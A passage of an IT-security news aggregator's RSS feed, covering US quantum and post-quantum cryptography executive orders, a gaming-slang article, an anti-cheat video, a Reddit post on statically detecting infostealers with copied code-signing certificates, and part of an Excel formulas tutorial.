<p>The administration also directed NIST to establish a federal post-quantum cryptography migration pilot program by the end of 2027 to identify implementation challenges and develop migration best practices.</p>



<h2 class="wp-block-heading">Contractors likely to face new compliance obligations</h2>



<p>The executive order also signals significant future implications for federal contractors.</p>



<p>The Federal Acquisition Regulatory Council was directed to develop procurement requirements that would require covered contractors to comply with applicable NIST post-quantum cryptography standards by the end of 2030.</p>



<p>While details remain to be determined, the provision suggests federal purchasing requirements may become a major driver of post-quantum cryptography adoption across the technology industry.</p>



<p>Security vendors, cloud providers, software developers, and managed service providers that do business with federal agencies may ultimately need to demonstrate compliance with emerging post-quantum cryptography requirements.</p>



<p>The order’s emphasis on cryptographic inventories, migration planning, and standards compliance suggests federal agencies will increasingly expect suppliers to understand and document the cryptographic components embedded within their products.</p>



<h2 class="wp-block-heading">Quantum innovation initiative expands</h2>



<p>Alongside the cybersecurity order, Trump signed a separate executive order, which intends to accelerate the development of quantum computing and related technologies.</p>



<p>The administration argues that quantum technologies could eventually transform industries, including pharmaceuticals, manufacturing, logistics, energy, and defense, while providing strategic advantages in scientific research and national security.</p>



<p>At the center of the initiative is a government-wide effort known as Quantum Computing for Accelerated Discovery and Development for Science (QC-ADDS), which aims to develop at least one quantum computer capable of enabling what the administration calls “quantum-enabled scientific discovery.”</p>



<p>The Department of Energy, Department of Commerce, Department of Defense, National Science Foundation, NASA, National Security Agency, and elements of the intelligence community are directed to coordinate research and development activities under the program.</p>



<p>Agencies are tasked with developing technical requirements within 90 days and implementation plans within 180 days.</p>



<p>Industry leaders said the order reflects a growing recognition that leadership in quantum computing will require coordinated investment across multiple layers of the technology stack.</p>



<p>“The United States has a window of opportunity to lead in this domain,” <a href="https://www.linkedin.com/in/stefanleichenauer/" rel="nofollow">Stefan Leichenauer</a>, vice president of engineering at SandboxAQ, said in a statement. “It requires coordinated investment across the stack: cryptography, compute infrastructure, data generation, and application development. It also requires strong partnerships between government, industry, and academia.”</p>



<p>The order also calls for expanded support for quantum networking and quantum sensing technologies and directs the creation of a national capability for evaluating and benchmarking quantum computing systems.</p>



<h2 class="wp-block-heading">Commercialization, workforce, and security priorities</h2>



<p>A major focus of the innovation initiative is moving quantum technologies from research laboratories into commercial deployment.</p>



<p>The White House said the United States must strengthen domestic quantum supply chains, support technology transfer, and ensure federally funded discoveries translate into commercial products and economic growth.</p>



<p><a href="https://www.cio.com/article/4188512/linkedin.com/in/saxenaankur">Ankur Saxena</a>, investment director at TDK Ventures, thinks the order reflects the industry’s growing focus on turning scientific advances into deployable technologies. “Quantum is shifting from a scientific frontier to an engineering and industrial race,” Saxena said in a statement. “US leadership will depend not just on breakthrough hardware, but on resilient supply chains and the enabling infrastructure that makes quantum deployable at scale.”</p>



<p>The administration also announced plans to reconstitute the National Quantum Initiative Advisory Committee and expand activities of the Quantum Counterintelligence Protection Team to help protect sensitive research and intellectual property.</p>



<p>The order places significant emphasis on workforce development as well, directing agencies to support quantum-related education, credentialing, and apprenticeship programs and to establish National Quantum Information Science and Technology Workforce Development Institutes.</p>



<h2 class="wp-block-heading">Two sides of the same strategy</h2>



<p>The executive orders reflect an effort to pursue what administration officials view as two sides of the same challenge: accelerating development of quantum technologies while preparing for the security consequences those technologies may eventually create.</p>



<p>For cybersecurity leaders, the post-quantum cryptography provisions are likely to have the most immediate impact. The combination of migration deadlines, cryptographic inventory requirements, pilot programs, and anticipated procurement mandates signals that federal agencies are moving from planning for post-quantum cryptography to implementing it.</p>



<p>For the broader technology sector, the orders underscore a growing consensus in Washington that quantum computing is no longer merely a long-term research project but a strategic technology that requires simultaneous investment, governance and risk management.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity and Access Management]]></title>
<description><![CDATA[This is the part 3 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity…
Read more →
The post ISA VDA 6.0.3 (part 3) — Information Secu...]]></description>
<link>https://tsecurity.de/de/3617611/it-security-nachrichten/isa-vda-603-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617611/it-security-nachrichten/isa-vda-603-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/</guid>
<pubDate>Tue, 23 Jun 2026 10:38:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 3 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/">ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity and Access Management</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From pwned to kiting – an A to Z of the gaming terms you need to know]]></title>
<description><![CDATA[As phrases like easter eggs and looksmaxxing enter everyday language, what other words from the world of video games might soon be mainstream?Twenty years ago, video games were seen as a niche hobby dominated by hardcore enthusiasts, tucked away in obscure online forums and gaming meet-ups. Back ...]]></description>
<link>https://tsecurity.de/de/3613533/it-nachrichten/from-pwned-to-kiting-an-a-to-z-of-the-gaming-terms-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3613533/it-nachrichten/from-pwned-to-kiting-an-a-to-z-of-the-gaming-terms-you-need-to-know/</guid>
<pubDate>Sun, 21 Jun 2026 13:32:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As phrases like easter eggs and looksmaxxing enter everyday language, what other words from the world of video games might soon be mainstream?</p><p>Twenty years ago, video games were seen as a niche hobby dominated by hardcore enthusiasts, tucked away in obscure online forums and gaming meet-ups. Back then, the idea that governments would use footage from Call of Duty and gaming terms such as “killstreaks” as war propaganda would have been absurd. Then the 2010s happened: nerd culture popularised, previously online-only spaces began to meld with the real world, and gaming went mainstream.</p><p>Now, gaming references have entered common parlance – at the end of 2024, video game terms including “cheat code” and “cutscene” were even <a href="https://www.oed.com/discover/the-oed-december-2024-update/?tl=true">added to the Oxford English Dictionary</a><strong> </strong>– and they increasingly crop up in politics, too. Earlier this year, the official White House X account <a href="https://x.com/WhiteHouse/status/2029953667600646655">posted footage</a> of military strikes on Iran interspersed with footage from the video game Grand Theft Auto. Six days later, <a href="https://x.com/WhiteHouse/status/2032115039985881556">another video was posted</a>, this time interspersing military footage with clips from Nintendo’s 2006 game Wii Sports.<strong> </strong>Video game references aren’t reserved for the political right, either: in February 2026, Democrat representative of New York <a href="https://x.com/AOC/status/2026696988272546182">Alexandria Ocasio-Cortez quipped</a>, “Why does this guy always talk like a World of Warcraft npc [non-player character]?” in response to a post on X by Stephen Miller, White House deputy chief of staff.</p> <a href="https://www.theguardian.com/games/2026/jun/21/from-pwned-to-kiting-an-a-to-z-of-the-gaming-terms-you-need-to-know">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can Valorant brick YOUR PC? Is Vanguard safe?]]></title>
<description><![CDATA[Author: PC Security Channel - Bewertung: 90x - Views:602 Can Valorant brick your PC? Vanguard sys Driver which is the anti-cheat software for Riot Games has come under scrutiny after bricking a lot of cheating devices, how much control does Valorant have?

Buy the best antivirus: https://thepcsec...]]></description>
<link>https://tsecurity.de/de/3612647/it-security-video/can-valorant-brick-your-pc-is-vanguard-safe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612647/it-security-video/can-valorant-brick-your-pc-is-vanguard-safe/</guid>
<pubDate>Sat, 20 Jun 2026 21:03:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC Security Channel - Bewertung: 90x - Views:602 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/cFYWpiNwaa8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Can Valorant brick your PC? Vanguard sys Driver which is the anti-cheat software for Riot Games has come under scrutiny after bricking a lot of cheating devices, how much control does Valorant have?<br />
<br />
Buy the best antivirus: https://thepcsecuritychannel.com/best-antivirus<br />
Join the discussion on Discord: http://discord.tpsc.tech/<br />
Get your business endpoints tested by us: http://tpsc.tech/<br />
Contact us for business: https://thepcsecuritychannel.com/contact<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Some cert-spoofed stealers I'd written off as unbeatable static-analysis, turns out I was just checking the wrong field]]></title>
<description><![CDATA[I'm building a PE static analysis engine and for months I had a bunch of infostealers in my benchmark I'd basically given up on. A fake Zoom and a few game cheat loaders, all signed with a real NVIDIA code-signing cert (looks like one from the 2022 leak). The cert chains to a trusted root so Wind...]]></description>
<link>https://tsecurity.de/de/3611992/malware-trojaner-viren/some-cert-spoofed-stealers-id-written-off-as-unbeatable-static-analysis-turns-out-i-was-just-checking-the-wrong-field/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611992/malware-trojaner-viren/some-cert-spoofed-stealers-id-written-off-as-unbeatable-static-analysis-turns-out-i-was-just-checking-the-wrong-field/</guid>
<pubDate>Sat, 20 Jun 2026 12:03:10 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm building a PE static analysis engine and for months I had a bunch of infostealers in my benchmark I'd basically given up on. A fake Zoom and a few game cheat loaders, all signed with a real NVIDIA code-signing cert (looks like one from the 2022 leak). The cert chains to a trusted root so Windows trusts it, and structurally these things look cleaner than half the legit Intel installers I have. I couldn't find any static signal that separated them from real signed software, so I wrote it off as something you'd need a sandbox to catch and moved on.</p> <p>​</p> <p>Well i was wrong, and pretty dumb in hindsight as i was checking whether the cert chained to a trusted root. I was never checking whether the file's authenticode hash actually matched the hash that got signed. These are two different questions and although my engine answered the first i assumed it covered the second.</p> <p>​</p> <p>When I finally recomputed the hashes, all four came back as digest mismatches. The cert blobs are genuinely NVIDIA's, they were just copied onto a different binary. The signature doesn't match the file it's attached to.</p> <p>​</p> <p>Wired up two checks off the back of it: digest mismatch (signed hash isn't the file's real hash), and signer EKU (a bunch of these use a TLS/serverAuth cert that can't legally sign a PE at all). Between them they catch most of the signed stealers in my set, with zero false positives on legit signed binaries, which was the part I actually cared about.</p> <p>​</p> <p>The one I haven't cracked is the burner-LLC case. Malware signed with a real, properly-issued code-signing cert that's just been abused. Digest matches, chain's valid, EKU's correct. Anyone solved this kind of issue?</p> <p>​</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/jonmcree"> /u/jonmcree </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1uaqxfh/some_certspoofed_stealers_id_written_off_as/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1uaqxfh/some_certspoofed_stealers_id_written_off_as/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use Excel formulas and functions]]></title>
<description><![CDATA[One of the most commonly used Microsoft programs, Excel is highly useful for data collecting, processing, and analysis. To fully harness Excel’s powers, though, you need to make use of formulas.



Excel formulas allow you to perform calculations, analyze data, and return results quickly and accu...]]></description>
<link>https://tsecurity.de/de/3610196/it-nachrichten/how-to-use-excel-formulas-and-functions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610196/it-nachrichten/how-to-use-excel-formulas-and-functions/</guid>
<pubDate>Fri, 19 Jun 2026 13:17:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>One of the most commonly used Microsoft programs, Excel is highly useful for data collecting, processing, and analysis. To fully harness Excel’s powers, though, you need to make use of formulas.</p>



<p>Excel formulas allow you to perform calculations, analyze data, and return results quickly and accurately. The usefulness of formulas is even greater once you start dealing with large data sets. With the correct formula, Excel can process vast amounts of information in a matter of seconds.</p>



<p>In this article we’ll look at five useful types of formulas and functions that will get you started performing data analysis in Excel. Along the way, you’ll learn several different ways to enter formulas and functions in Excel.</p>



<p>We’ll demonstrate using Excel for Windows under a <a href="https://www.computerworld.com/article/1691110/microsoft-365-explained.html">Microsoft 365</a> subscription. If you’re using a different version of Excel, you might not have exactly the same interface and options, but the formulas and functions work the same.</p>



<p>If you have the right kind of M365 subscription, you can have Microsoft’s generative AI assistant, Copilot, create formulas for you. This requires an M365 <a href="https://www.microsoft.com/en-us/microsoft-365/buy/compare-all-microsoft-365-products" target="_blank" rel="noreferrer noopener">Personal, Family, or Premium</a> plan for individuals or an M365 <a href="https://www.microsoft.com/en-us/microsoft-365/business/microsoft-365-plans-and-pricing" target="_blank" rel="noreferrer noopener">business</a> or <a href="https://www.microsoft.com/en-us/microsoft-365/enterprise/microsoft-365-plans-and-pricing" target="_blank" rel="noreferrer noopener">enterprise</a> plan with a <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">paid Copilot add-on subscription</a> — which means not everybody has access to Copilot in Excel. Even if you do, it’s helpful to know what formulas can do and how to work with them so you can write better prompts for Copilot. We’ll cover using Copilot to create Excel formulas later in this story, but first we’ll give you a solid understanding of how to work with formulas and functions.</p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#what-is-formula">What is a formula in Excel?</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#what-is-function">What is a function in Excel?</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#math-formulas">Basic mathematical formulas and functions</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#if-function">The IF function</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#sumif-countif">The SUMIF and COUNTIF functions</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#concat">The CONCAT function</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#vlookup">The VLOOKUP function</a></li>



<li><a href="https://www.computerworld.com/article/1623024/how-to-use-excel-formulas-and-functions.html#copilot">Using Copilot to create Excel formulas</a></li>
</ul>



<h2 class="wp-block-heading"> What is a formula in Excel?</h2>



<p>A formula is an expression that operates on values in a range of cells in Excel. Using formulas, you can perform calculations and data analysis on the contents of the cells. Formulas can be as simple as adding a column of numbers together or as complex as returning the <a href="https://www.investopedia.com/terms/k/kurtosis.asp" rel="nofollow noopener" target="_blank">kurtosis</a> of a data set. They can be incredibly useful when you want to turn spreadsheet data into meaningful information for driving business decisions.</p>



<h2 class="wp-block-heading">What is a function in Excel?</h2>



<p>A function is a built-in formula in Excel — basically, a shortcut for performing a calculation or other operation on cell data. There are around 500 Excel functions, and the list continues to grow every year. Fortunately, most of the actions that a typical business user would want to perform can be done with just a handful of functions.</p>



<h2 class="wp-block-heading">1. Basic mathematical formulas and functions</h2>



<p>We’re going to group these formulas together since they are very simple and have similar syntax. All formulas in Excel start with the equal sign (=) and build from there.</p>



<h3 class="wp-block-heading">Adding, subtracting, multiplying, and dividing</h3>



<p>To add the numbers in two cells together, first click the on the target cell where you want the total to appear. Then type <strong>=</strong> in the cell to start the formula.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Starting a formula in Excel.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Next, click on the cell that contains the first number you want to add, and its cell reference (such as A2) will appear next to the equal sign in the formula.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>When you select a cell when building a formula, its cell reference appears in the formula.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Type <strong>+</strong> next to the first cell reference. Then click the cell that contains the second number you want to add, and its cell reference (such as A3) will appear next to the + sign. The full syntax for the formula to add the values in cells A2 and A3 is:</p>



<p><em>=A2+A3</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The complete addition formula appears in both the target cell and the formula bar above.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Note that in addition to appearing in the target cell, the formula also appears in the formula bar directly above the worksheet. Once you’ve inserted the initial = sign in the target cell, you can type your formula in the formula bar. It’s sometimes easier to see the whole formula and work with it in the formula bar than down in the worksheet page.</p>



<p>If you wanted to add additional numbers to your total, you’d type another + sign, select another cell, and so on. Once your formula is complete, press <em>Enter</em>, and the result appears in the target cell.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Press <em>Enter</em>, and the result appears in the target cell.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Subtraction, multiplication, and division calculations work the same way. You simply change the <em>operator</em> — the symbol that tells Excel what math operation you want to perform — from the <strong>+</strong> sign to the <strong>–</strong> sign for subtraction, the <strong>*</strong> sign for multiplication, or the <strong>/</strong> sign for division.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Subtraction, multiplication, and division actions. The formula for each is shown in the formulas bar and the result in the target cell.</p></figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<h3 class="wp-block-heading">Adding numbers with the SUM function</h3>



<p>There’s a quicker way to add together a group of numbers. This is where Excel’s built-in SUM function comes in.</p>



<p>First click on the target cell where you want the total to appear. Then type <strong>=SUM</strong> to start the function.  A list of options will come up. Click the first option, <em>SUM</em>. You’ll now see <em>=SUM(</em> in the target cell.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Starting a SUM function.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Just underneath the cell with the SUM function is a tooltip showing the SUM syntax:</p>



<p><em>=SUM(number 1, [number2],…)</em></p>



<p>To add individual cells together, select a cell, type a comma, select another cell, and so on. (Alternatively, you can type a cell reference, type a comma, type another cell reference, and so on.)</p>



<p>If you want to add consecutive cells (such as in a row or column), select the first cell, then hold down the Shift key and select the final cell in the group. (Or you can type in the cell references for the first and last cells separated by a colon — for instance, <strong>A2:A7</strong> selects A2, A7, and all the cells in between.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Select the range of cells you want to add together.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Once all the cells you want to add together are selected, hit <em>Enter</em>.</p>



<p>Now you should see the final result, which is the sum of the numbers you highlighted. If you highlight that target cell again, you’ll see the full formula in the formula bar — in our example, it’s:</p>



<p><em>=SUM(A2:A7)</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The SUM function is shown in the formulas bar; the result appears in the target cell.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>One important thing to note for all Excel formulas is that they produce <em>relative</em> values. This simply means that if any of the values in the selected cells changes, then the final number will change to reflect that.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>If the value of a cell used in a formula changes, the result also changes.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>If you want to make it an <em>absolute</em> value, a number that will not change even if the cells that were used to calculate it change, then you need to right-click the cell and select <em>Copy</em> from the pop-up menu. Then right-click the cell again and, under Paste Options, select the <em>Values</em> button (the icon of a clipboard with 123).</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Copy and paste the value into the cell to prevent the value from changing if one of the source cell’s values changes.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Now when you select that cell you’ll just see the plain number, not a formula, in the formula bar.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The cell now contains an absolute value, not a formula.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p><strong>Tip:</strong> Excel provides a SUM shortcut in certain circumstances. If you have a series of numbers in a row or a column, Excel assumes you want to add them together. So if you place your cursor in the cell to the right of a row of numbers and click the <em>AutoSum</em> (Σ) button toward the right end of the Ribbon’s Home tab, Excel automatically selects the numbers in the row, then adds them together when you press <em>Enter</em>. Likewise, if you place your cursor in the cell below a column of numbers, click <em>AutoSum</em>, and hit <em>Enter</em>, Excel totals up the numbers in the column.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>AutoSum is a shortcut for adding a row or column of numbers.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<h3 class="wp-block-heading">Calculating the average with the AVERAGE function</h3>



<p>To calculate the average of a group of numbers, repeat the same steps but using the syntax <strong>=AVERAGE</strong> and highlighting the cells containing the numbers that you want to use in the calculation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>To quickly calculate the average of a group of numbers, use the AVERAGE function.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p><strong>Tip:</strong> As with SUM, there’s a shortcut for using the AVERAGE function if you have a series of numbers in a row or a column. Place your cursor in the cell to the right of a row of numbers or in the cell below a column of numbers. Click the tiny down arrow at the right side of the <em>AutoSum</em> button, select <em>Average</em> from the menu that appears, and hit <em>Enter</em>. Excel calculates the average of the values in that row or column.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>There’s an AutoSum shortcut for the AVERAGE function as well.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Find more details, examples, and best practices for these functions at Microsoft’s <a href="https://support.microsoft.com/en-us/office/sum-function-043e1c7d-7726-4e80-8f32-07b23e057f89" rel="nofollow noopener" target="_blank">SUM function</a> and <a href="https://support.microsoft.com/en-us/office/average-function-047bac88-d466-426c-a32b-8f33eb960cf6" rel="nofollow noopener" target="_blank">AVERAGE function</a> support pages.</p>



<h2 class="wp-block-heading">2. The IF function</h2>



<p>This function helps you automate the decision-making process by applying if-then logic to your data. Using this function, you can have Excel perform a calculation or display a certain value depending on the outcome of a logical test. For example, you can create a test that checks if the value of a cell is greater than or equal to the value of 18 and enter “Yes” or “No” accordingly.</p>



<p>While we’re learning this function, we’ll cover another way to enter functions in Excel: by using the Formulas tab on the Ribbon. Here you’ll find buttons that provide quick access to functions by category: AutoSum, Financial, Logical, Text, Date &amp; Time, and so on. Being able to browse through functions by category can be helpful if you can’t remember the exact name of a function or aren’t sure how to spell it.</p>



<p>To enter the IF function, select the target cell, and on the Formulas tab, click the <em>Logical</em> button, then select <em>IF</em> from the list of functions that appears.</p>



<p>Alternatively, you can click the <em>Insert Function</em> button all the way to the left of the Formulas tab. An “Insert Function” pane appears, showing a list of commonly used functions.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Instead of typing = to start a function, you can go to the <em>Formulas</em> tab and select <em>Insert Function</em>.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Select <em>IF</em> from the list and click <em>OK</em>. (If the function you want isn’t in the “Commonly Used” list, select a different category or <em>All</em> to see all available functions.)</p>



<p>The Function Arguments pane appears, and you’ll see <em>=IF()</em> in the target cell.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>You can use the Function Arguments dialog box to build a function.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>The IF function syntax is as follows:</p>



<p><em>=IF(logical_test,”value_if_true”,”value_if_false”)</em></p>



<p>You’ll notice that the Function Arguments pane for the IF function has fields for Logical_test, Value_if_true, and Value_if_false. In our “greater than or equal to 18” example, the logical test is whether the number in the selected cell is greater than or equal to 18, the value if true is “Yes,” and the value if false is “No.” So we’d enter the following items in the pane’s fields like so:</p>



<p>Logical_test: <strong>B2&gt;=18</strong></p>



<p>Value_if_true: <strong>“Yes”</strong></p>



<p>Value_if_false: <strong>“No”</strong></p>



<p>or just type the full formula into the target cell:</p>



<p><em>=IF(B2&gt;=18,”Yes”,”No”)</em></p>



<p>This tells Excel that if the value of cell B2 is greater than or equal to 18, it should enter “Yes” in the target cell. If the value of cell B2 is less than 18, it should enter “No.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The IF function in action.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p><strong>Tip:</strong> When using functions like this, rather than entering the function repeatedly for each row, you can simply click and drag the tiny square on the bottom right of the cell that contains the function. Doing so will autofill each of the rows with the formula, and Excel will change your cell references to match. For example, when the formula we used in cell C2 that references cell B2 is autofilled into cell C3, it changes to reference cell B3 automatically.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Autofilling a formula to subsequent rows in the column.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Find more details at Microsoft’s <a href="https://support.microsoft.com/en-us/office/if-function-69aed7c9-4e8a-4755-a9bc-aa8bbff73be2" rel="nofollow noopener" target="_blank">IF function</a> support page.</p>



<h2 class="wp-block-heading">3. The SUMIF and COUNTIF functions</h2>



<p>SUMIF is a more advanced SUM function that allows you to add up only the values in a range that meet the criteria you specify. To use this function, you must specify the <em>range</em> of cells to apply the criteria to, the <em>criteria</em> for inclusion, and, optionally, the <em>sum range</em>, which is the range of cells to total if that’s different from the initial range. The syntax is as follows:</p>



<p><em>=SUMIF(range,criteria,[sum_range])</em></p>



<p>Note that any criteria with text or mathematical or logical symbols must be enclosed in double quotes.</p>



<p>In the sales spreadsheet shown below, for example, suppose you want to total up only the sales that are more than $100. The criteria range is C2 to C9, and the criteria is “greater than 100.” Since you’re adding up the values in that same cell range (C2 to C9), you don’t need to supply a separate sum range. So your formula is:</p>



<p><em>=SUMIF(C2:C9,”&gt;100″)</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Using the SUMIF function.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>What if instead you want to find the total for all sales in the East region only? To do that you’ll have to specify both the criteria range (cells B2 to B9) and the sum range (cells C2 to C9). This is the formula:</p>



<p><em>=SUMIF(B2:B9,B2,C2:C9)</em></p>



<p>Note that you don’t have to type out “<em>East”</em> for the criteria. You can simply type <em>B2</em> or click the cell B2 to have Excel search for the text it contains.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Using SUMIF with both a criteria range and a sum range.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>There is a similar function called COUNTIF that lets you create a count of values that meet specified criteria. The syntax is as follows:</p>



<p><em>=COUNTIF(range,criteria)</em></p>



<p>So to count the total number of sales in the West region, for instance, you supply the range of cells to apply the criteria to (B2 to B9), followed by the criteria (“West” or cell B3). The formula is:</p>



<p><em>=COUNTIF(B2:B9,B3)</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The COUNTIF function can instantly count up items that meet your criteria.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



